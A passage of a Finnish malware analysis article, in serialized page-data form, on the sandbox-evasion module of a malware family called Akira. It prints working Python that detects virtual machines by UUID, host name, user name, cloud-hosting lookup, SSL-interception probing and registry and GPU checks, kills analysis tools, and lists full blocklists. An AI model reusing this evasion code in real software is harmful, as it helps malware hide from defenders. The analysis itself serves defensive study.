csproduct get uuid\", shell=True,\n",[1718,5190,5191],{"class":1720,"line":2438},[1718,5192,5193],{},"            capture_output=True\n",[1718,5195,5196],{"class":1720,"line":3096},[1718,5197,5198],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1718,5200,5201],{"class":1720,"line":3892},[1718,5202,5203],{},"    except:\n",[1718,5205,5206],{"class":1720,"line":3898},[1718,5207,5208],{},"        raw = \"\"\n",[1718,5210,5211],{"class":1720,"line":4144},[1718,5212,5213],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[526,5215,5216],{},"Tämä tarkistus hyödyntää Windows Management Instrumentation Command-line (WMIC) -työkalua isäntäkoneen UUID:n poimimiseen. Palautettua arvoa verrataan sen jälkeen kuratoituun listaan UUID-tunnuksia, jotka liittyvät yleisesti virtuaalikonepohjiin tai tunnettuihin analyysiympäristöihin.",[897,5218,5220],{"id":5219},"_736-tietokoneen-nimen-tarkistus-sandbox-ja-analyysiympäristöjen-havaitseminen-hostnamen-avulla","7.3.6 Tietokoneen nimen tarkistus – sandbox- ja analyysiympäristöjen havaitseminen hostnamen avulla",[526,5222,903],{},[526,5224,5225,5226,5229],{},"Järjestelmän hostname, joka on saatavilla ",[579,5227,5228],{},"%COMPUTERNAME%","-ympäristömuuttujan kautta, paljastaa usein vihjeitä ympäristöstään. Analyytikot käyttävät usein oletusnimiä tai nopeasti generoituja nimiä, kuten \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\", tai jopa omiin sisäisiin ympäristöihinsä viittaavia nimiä. Haittaohjelma käyttää tätä hyväkseen vertaamalla järjestelmän hostnamea estolistaan.",[616,5231,5233],{"className":4529,"code":5232,"language":4531,"meta":530,"style":530},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[579,5234,5235,5239,5244,5249,5254,5258,5263,5268,5273,5278],{"__ignoreMap":530},[1718,5236,5237],{"class":1720,"line":1721},[1718,5238,5015],{},[1718,5240,5241],{"class":1720,"line":531},[1718,5242,5243],{},"def checkComputerName() -> bool:\n",[1718,5245,5246],{"class":1720,"line":2102},[1718,5247,5248],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1718,5250,5251],{"class":1720,"line":2108},[1718,5252,5253],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1718,5255,5256],{"class":1720,"line":2432},[1718,5257,3889],{"emptyLinePlaceholder":325},[1718,5259,5260],{"class":1720,"line":2438},[1718,5261,5262],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1718,5264,5265],{"class":1720,"line":3096},[1718,5266,5267],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1718,5269,5270],{"class":1720,"line":3892},[1718,5271,5272],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1718,5274,5275],{"class":1720,"line":3898},[1718,5276,5277],{},"    # ... dozens more entries ...\n",[1718,5279,5280],{"class":1720,"line":4144},[1718,5281,5282],{},")\n",[526,5284,5285],{},"Jos osuma löytyy, haittaohjelma voi päättää keskeyttää suorituksen tai toimittaa väärennetyn payloadin ja välttää siten täyden käyttäytymisanalyysin.",[897,5287,5289],{"id":5288},"_737-käyttäjätilin-tarkistus-analyytikko-ja-oletustilien-profilointi","7.3.7 Käyttäjätilin tarkistus – analyytikko- ja oletustilien profilointi",[526,5291,903],{},[526,5293,5294],{},"Toinen heuristiikka arvioi käyttäjätunnusta, jolla haittaohjelma suoritetaan. Monet virtuaalikonepohjat ja sandboxit käyttävät uudelleen yleisiä käyttäjätunnuksia, kuten \"Abby\", \"Test\" tai \"wdagutilityaccount\". Nämä nimet ovat matalaentropisia ja usein kovakoodattuja avoimen lähdekoodin sandbox-ympäristöissä.",[616,5296,5298],{"className":4529,"code":5297,"language":4531,"meta":530,"style":530},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[579,5299,5300,5304,5309,5314,5319,5323,5328,5333,5338,5343],{"__ignoreMap":530},[1718,5301,5302],{"class":1720,"line":1721},[1718,5303,5015],{},[1718,5305,5306],{"class":1720,"line":531},[1718,5307,5308],{},"def checkUsers() -> bool:\n",[1718,5310,5311],{"class":1720,"line":2102},[1718,5312,5313],{},"    user = os.getlogin().lower()\n",[1718,5315,5316],{"class":1720,"line":2108},[1718,5317,5318],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1718,5320,5321],{"class":1720,"line":2432},[1718,5322,3889],{"emptyLinePlaceholder":325},[1718,5324,5325],{"class":1720,"line":2438},[1718,5326,5327],{},"BLACKLISTED_USERS = (\n",[1718,5329,5330],{"class":1720,"line":3096},[1718,5331,5332],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1718,5334,5335],{"class":1720,"line":3892},[1718,5336,5337],{},"    'a.monaldo','tvm',\n",[1718,5339,5340],{"class":1720,"line":3898},[1718,5341,5342],{},"    # ... 30+ more entries ...\n",[1718,5344,5345],{"class":1720,"line":4144},[1718,5346,5282],{},[526,5348,5349],{},"Tämä tarkistus parantaa havaitsemista keskittymällä käyttäjäkontekstiin, joka voi pysyä muuttumattomana myös uudelleenkäynnistysten tai virtuaalikoneen tilannekuvien yli.",[897,5351,5353],{"id":5352},"_738-hosting-tarkistus-julkisen-pilvi-infrastruktuurin-havaitseminen","7.3.8 Hosting-tarkistus – julkisen pilvi-infrastruktuurin havaitseminen",[526,5355,903],{},[526,5357,5358,5359,5362],{},"Osa haittaohjelmista käyttää ulkoisia IP-tiedustelupalveluja varmistaakseen, sijaitseeko saastunut järjestelmä tunnetussa datakeskuksessa tai pilvipalveluntarjoajan ympäristössä. Tässä tapauksessa tehdään yksinkertainen HTTP-pyyntö osoitteeseen ",[579,5360,5361],{},"ip-api.com"," ja kysytään, onko IP merkitty tyypin \"hosting\" osoitteeksi.",[616,5364,5366],{"className":4529,"code":5365,"language":4531,"meta":530,"style":530},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[579,5367,5368,5372,5377,5382,5386,5391,5396,5401,5406,5410],{"__ignoreMap":530},[1718,5369,5370],{"class":1720,"line":1721},[1718,5371,5015],{},[1718,5373,5374],{"class":1720,"line":531},[1718,5375,5376],{},"def checkHosting() -> bool:\n",[1718,5378,5379],{"class":1720,"line":2102},[1718,5380,5381],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1718,5383,5384],{"class":1720,"line":2108},[1718,5385,5178],{},[1718,5387,5388],{"class":1720,"line":2432},[1718,5389,5390],{},"        return http.request(\n",[1718,5392,5393],{"class":1720,"line":2438},[1718,5394,5395],{},"            'GET',\n",[1718,5397,5398],{"class":1720,"line":3096},[1718,5399,5400],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1718,5402,5403],{"class":1720,"line":3892},[1718,5404,5405],{},"        ).data.decode().strip() == 'true'\n",[1718,5407,5408],{"class":1720,"line":3898},[1718,5409,5203],{},[1718,5411,5412],{"class":1720,"line":4144},[1718,5413,5414],{},"        return False\n",[526,5416,5417],{},"Tämä antaa haittaohjelman selvittää, suoritetaanko sitä Microsoft Azuren, AWS:n, DigitalOceanin tai vastaavan omistamassa infrastruktuurissa—mikä on punainen lippu sandboxauksesta.",[897,5419,5421],{"id":5420},"_739-https-simulaatiotarkistus-ssl-sieppauksen-luotaus","7.3.9 HTTPS-simulaatiotarkistus – SSL-sieppauksen luotaus",[526,5423,903],{},[526,5425,5426,5427,5430],{},"Tunnistaakseen ympäristöt, joissa on SSL-tarkastus käytössä (yleistä yritys- ja tutkimusverkoissa), haittaohjelma tekee vaarattoman HTTPS-pyynnön satunnaiseen aliverkkotunnukseen ",[579,5428,5429],{},".in","-päätteen alla. Jos yhteys epäonnistuu—DNS-suodatuksen, sieppaavien välityspalvelimien tai sertifikaatin kiinnityksen epäonnistumisen vuoksi—se voi viitata siihen, että haittaohjelmaa analysoidaan.",[616,5432,5434],{"className":4529,"code":5433,"language":4531,"meta":530,"style":530},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[579,5435,5436,5440,5445,5450,5454,5459,5463,5467],{"__ignoreMap":530},[1718,5437,5438],{"class":1720,"line":1721},[1718,5439,5015],{},[1718,5441,5442],{"class":1720,"line":531},[1718,5443,5444],{},"def checkHTTPSimulation() -> bool:\n",[1718,5446,5447],{"class":1720,"line":2102},[1718,5448,5449],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1718,5451,5452],{"class":1720,"line":2108},[1718,5453,5178],{},[1718,5455,5456],{"class":1720,"line":2432},[1718,5457,5458],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1718,5460,5461],{"class":1720,"line":2438},[1718,5462,5203],{},[1718,5464,5465],{"class":1720,"line":3096},[1718,5466,5414],{},[1718,5468,5469],{"class":1720,"line":3892},[1718,5470,5471],{},"    return True\n",[526,5473,5474],{},"Tämä hienovarainen lähestymistapa testaa verkkopolun eheyttä laukaisematta hälytyksiä ja ilman omaa infrastruktuuria.",[897,5476,5478],{"id":5477},"_7310-rekisterin-ja-gpu-ajurin-tarkistus-virtuaalisten-gpu-signatuurien-havaitseminen","7.3.10 Rekisterin ja GPU-ajurin tarkistus – virtuaalisten GPU-signatuurien havaitseminen",[526,5480,903],{},[526,5482,5483,5484,5487],{},"Tietyt virtuaaliympäristöt paljastuvat rekisteriavaimista tai GPU-ajurin kuvauksista. Akira käyttää kahta strategiaa: se tekee kyselyjä grafiikka-alijärjestelmään liittyviin rekisterimerkintöihin ja tutkii erikseen ",[579,5485,5486],{},"wmic","-komennon tulosteen epäilyttävien GPU-merkkijonojen varalta.",[616,5489,5491],{"className":4529,"code":5490,"language":4531,"meta":530,"style":530},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[579,5492,5493,5497,5502,5507,5512,5517,5522,5527,5531,5535,5540,5545,5550,5555,5560,5565],{"__ignoreMap":530},[1718,5494,5495],{"class":1720,"line":1721},[1718,5496,5015],{},[1718,5498,5499],{"class":1720,"line":531},[1718,5500,5501],{},"def checkRegistry() -> bool:\n",[1718,5503,5504],{"class":1720,"line":2102},[1718,5505,5506],{},"    r1 = subprocess.run(\n",[1718,5508,5509],{"class":1720,"line":2108},[1718,5510,5511],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1718,5513,5514],{"class":1720,"line":2432},[1718,5515,5516],{},"        capture_output=True, shell=True)\n",[1718,5518,5519],{"class":1720,"line":2438},[1718,5520,5521],{},"    r2 = subprocess.run(\n",[1718,5523,5524],{"class":1720,"line":3096},[1718,5525,5526],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1718,5528,5529],{"class":1720,"line":3892},[1718,5530,5516],{},[1718,5532,5533],{"class":1720,"line":3898},[1718,5534,3889],{"emptyLinePlaceholder":325},[1718,5536,5537],{"class":1720,"line":4144},[1718,5538,5539],{},"    # GPU name check\n",[1718,5541,5542],{"class":1720,"line":5063},[1718,5543,5544],{},"    gpu_out = subprocess.run(\n",[1718,5546,5547],{"class":1720,"line":5069},[1718,5548,5549],{},"        \"wmic path win32_VideoController get name\",\n",[1718,5551,5552],{"class":1720,"line":5075},[1718,5553,5554],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1718,5556,5557],{"class":1720,"line":5081},[1718,5558,5559],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1718,5561,5562],{"class":1720,"line":5087},[1718,5563,5564],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1718,5566,5567],{"class":1720,"line":5093},[1718,5568,5569],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[526,5571,5572],{},"Nämä laitteistotason tarkistukset ovat erityisen tehokkaita analyytikkoympäristöjä vastaan, jotka eivät välttämättä peitä virtualisoituja näyttösovittimia täysin.",[897,5574,5576],{"id":5575},"_7311-prosessien-tappaminen-analyysityökalujen-vaientaminen-reaaliajassa","7.3.11 Prosessien tappaminen – analyysityökalujen vaientaminen reaaliajassa",[526,5578,903],{},[526,5580,5581],{},"Sen sijaan että Akira vain väistäisi havaitsemista passiivisesti, se menee askeleen pidemmälle ja päättää aktiivisesti tunnettuja analyysi- ja debuggaustyökaluja. Se käynnistää taustasäikeen, joka käy läpi prosessilistaa ja tappaa kaikki löytämänsä osumat.",[616,5583,5585],{"className":4529,"code":5584,"language":4531,"meta":530,"style":530},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[579,5586,5587,5591,5596,5601,5605,5610,5615,5620,5625],{"__ignoreMap":530},[1718,5588,5589],{"class":1720,"line":1721},[1718,5590,5015],{},[1718,5592,5593],{"class":1720,"line":531},[1718,5594,5595],{},"def killTasks() -> None:\n",[1718,5597,5598],{"class":1720,"line":2102},[1718,5599,5600],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1718,5602,5603],{"class":1720,"line":2108},[1718,5604,3889],{"emptyLinePlaceholder":325},[1718,5606,5607],{"class":1720,"line":2432},[1718,5608,5609],{},"BLACKLISTED_TASKS = (\n",[1718,5611,5612],{"class":1720,"line":2438},[1718,5613,5614],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1718,5616,5617],{"class":1720,"line":3096},[1718,5618,5619],{},"  # ... dozens more ...\n",[1718,5621,5622],{"class":1720,"line":3892},[1718,5623,5624],{},"  'glasswire','requestly'\n",[1718,5626,5627],{"class":1720,"line":3898},[1718,5628,5282],{},[526,5630,5631],{},"Nämä työkalut—joita incident response -tekijät ja haittaohjelma-analyytikot yleisesti käyttävät—neutraloidaan ennen kuin ne pystyvät keräämään merkityksellisiä käyttäytymisartefakteja.",[526,5633,5634],{},[568,5635,5636],{},"Yhteenveto",[526,5638,5639],{},"Akira käyttää hienostunutta analyysin vastaisten tekniikoiden valikoimaa, joka kohdistuu useisiin järjestelmäkerroksiin — ympäristömuuttujista ja rekisteriavaimista verkkoluotauksiin ja prosessilistoihin. Nämä mekanismit on suunniteltu havaitsemaan ja väistämään sekä automatisoidut sandboxit että manuaaliset tarkasteluympäristöt.",[526,5641,5642],{},"Passiivisen sormenjälkien keräämisen ja aktiivisen vaientamisen (esim. prosessien tappaminen) yhdistelmä osoittaa, miten myös keskitason haittaohjelmaperheet integroivat nykyään monikerroksista väistelylogiikkaa.",[897,5644,5646],{"id":5645},"_7312-täydelliset-estolistat-ja-havaitsemisfunktiot","7.3.12 Täydelliset estolistat ja havaitsemisfunktiot",[526,5648,903],{},[526,5650,5651],{},[568,5652,5653],{},"Estolistalla olevat laitteiston UUID:t",[616,5655,5658],{"className":5656,"code":5657,"language":621},[619],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[579,5659,5657],{"__ignoreMap":530},[526,5661,5662],{},[568,5663,5664],{},"Estolistalla olevat tietokoneiden nimet",[616,5666,5669],{"className":5667,"code":5668,"language":621},[619],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[579,5670,5668],{"__ignoreMap":530},[526,5672,5673],{},[568,5674,5675],{},"Estolistalla olevat käyttäjätilit",[616,5677,5680],{"className":5678,"code":5679,"language":621},[619],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[579,5681,5679],{"__ignoreMap":530},[526,5683,5684],{},[568,5685,5686],{},"Estolistalla olevat analyysityökalujen prosessit",[616,5688,5691],{"className":5689,"code":5690,"language":621},[619],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[579,5692,5690],{"__ignoreMap":530},[526,5694,5695],{},[568,5696,5697],{},"Keskeiset havaitsemismetodit",[616,5699,5701],{"className":4529,"code":5700,"language":4531,"meta":530,"style":530},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[579,5702,5703,5707,5711,5716,5720,5724,5729,5734,5739,5743,5747,5751,5755,5759,5763,5768,5773,5777,5781,5785,5790,5795,5799,5803,5807,5812,5817,5822,5827,5833,5838,5842,5847,5852,5857,5862,5868,5874,5880,5885,5890,5895,5900,5906,5911,5916,5921,5926,5931,5936,5942,5948,5954,5960,5965,5970,5976,5982,5988,5994,5999,6004,6010,6015,6020,6026,6032,6038,6043,6049,6055,6060,6066,6072,6077,6082,6087,6093],{"__ignoreMap":530},[1718,5704,5705],{"class":1720,"line":1721},[1718,5706,5015],{},[1718,5708,5709],{"class":1720,"line":531},[1718,5710,5173],{},[1718,5712,5713],{"class":1720,"line":2102},[1718,5714,5715],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1718,5717,5718],{"class":1720,"line":2108},[1718,5719,5178],{},[1718,5721,5722],{"class":1720,"line":2432},[1718,5723,5183],{},[1718,5725,5726],{"class":1720,"line":2438},[1718,5727,5728],{},"            \"wmic csproduct get uuid\",\n",[1718,5730,5731],{"class":1720,"line":3096},[1718,5732,5733],{},"            shell=True, capture_output=True\n",[1718,5735,5736],{"class":1720,"line":3892},[1718,5737,5738],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1718,5740,5741],{"class":1720,"line":3898},[1718,5742,5203],{},[1718,5744,5745],{"class":1720,"line":4144},[1718,5746,5208],{},[1718,5748,5749],{"class":1720,"line":5063},[1718,5750,5213],{},[1718,5752,5753],{"class":1720,"line":5069},[1718,5754,3889],{"emptyLinePlaceholder":325},[1718,5756,5757],{"class":1720,"line":5075},[1718,5758,5015],{},[1718,5760,5761],{"class":1720,"line":5081},[1718,5762,5243],{},[1718,5764,5765],{"class":1720,"line":5087},[1718,5766,5767],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1718,5769,5770],{"class":1720,"line":5093},[1718,5771,5772],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1718,5774,5775],{"class":1720,"line":5099},[1718,5776,3889],{"emptyLinePlaceholder":325},[1718,5778,5779],{"class":1720,"line":5105},[1718,5780,5015],{},[1718,5782,5783],{"class":1720,"line":5111},[1718,5784,5308],{},[1718,5786,5787],{"class":1720,"line":5117},[1718,5788,5789],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1718,5791,5792],{"class":1720,"line":5123},[1718,5793,5794],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1718,5796,5797],{"class":1720,"line":5129},[1718,5798,3889],{"emptyLinePlaceholder":325},[1718,5800,5801],{"class":1720,"line":5135},[1718,5802,5015],{},[1718,5804,5805],{"class":1720,"line":5141},[1718,5806,5376],{},[1718,5808,5809],{"class":1720,"line":5147},[1718,5810,5811],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1718,5813,5815],{"class":1720,"line":5814},26,[1718,5816,5381],{},[1718,5818,5820],{"class":1720,"line":5819},27,[1718,5821,5178],{},[1718,5823,5825],{"class":1720,"line":5824},28,[1718,5826,5390],{},[1718,5828,5830],{"class":1720,"line":5829},29,[1718,5831,5832],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1718,5834,5836],{"class":1720,"line":5835},30,[1718,5837,5405],{},[1718,5839,5840],{"class":1720,"line":740},[1718,5841,5203],{},[1718,5843,5845],{"class":1720,"line":5844},32,[1718,5846,5414],{},[1718,5848,5850],{"class":1720,"line":5849},33,[1718,5851,3889],{"emptyLinePlaceholder":325},[1718,5853,5855],{"class":1720,"line":5854},34,[1718,5856,5015],{},[1718,5858,5860],{"class":1720,"line":5859},35,[1718,5861,5444],{},[1718,5863,5865],{"class":1720,"line":5864},36,[1718,5866,5867],{},"    \"\"\"\n",[1718,5869,5871],{"class":1720,"line":5870},37,[1718,5872,5873],{},"    Attempt TLS to random subdomain.\n",[1718,5875,5877],{"class":1720,"line":5876},38,[1718,5878,5879],{},"    Failure → possible HTTPS interception/sandbox.\n",[1718,5881,5883],{"class":1720,"line":5882},39,[1718,5884,5867],{},[1718,5886,5888],{"class":1720,"line":5887},40,[1718,5889,5449],{},[1718,5891,5893],{"class":1720,"line":5892},41,[1718,5894,5178],{},[1718,5896,5898],{"class":1720,"line":5897},42,[1718,5899,5458],{},[1718,5901,5903],{"class":1720,"line":5902},43,[1718,5904,5905],{},"        return True\n",[1718,5907,5909],{"class":1720,"line":5908},44,[1718,5910,5203],{},[1718,5912,5914],{"class":1720,"line":5913},45,[1718,5915,5414],{},[1718,5917,5919],{"class":1720,"line":5918},46,[1718,5920,3889],{"emptyLinePlaceholder":325},[1718,5922,5924],{"class":1720,"line":5923},47,[1718,5925,5015],{},[1718,5927,5929],{"class":1720,"line":5928},48,[1718,5930,5501],{},[1718,5932,5934],{"class":1720,"line":5933},49,[1718,5935,5867],{},[1718,5937,5939],{"class":1720,"line":5938},50,[1718,5940,5941],{},"    Look for VirtualBox/VMware in:\n",[1718,5943,5945],{"class":1720,"line":5944},51,[1718,5946,5947],{},"    - Registry driver entries\n",[1718,5949,5951],{"class":1720,"line":5950},52,[1718,5952,5953],{},"    - Video card name via WMIC\n",[1718,5955,5957],{"class":1720,"line":5956},53,[1718,5958,5959],{},"    - Presence of VM-specific folders\n",[1718,5961,5963],{"class":1720,"line":5962},54,[1718,5964,5867],{},[1718,5966,5968],{"class":1720,"line":5967},55,[1718,5969,5506],{},[1718,5971,5973],{"class":1720,"line":5972},56,[1718,5974,5975],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1718,5977,5979],{"class":1720,"line":5978},57,[1718,5980,5981],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1718,5983,5985],{"class":1720,"line":5984},58,[1718,5986,5987],{},"        shell=True, capture_output=True\n",[1718,5989,5991],{"class":1720,"line":5990},59,[1718,5992,5993],{},"    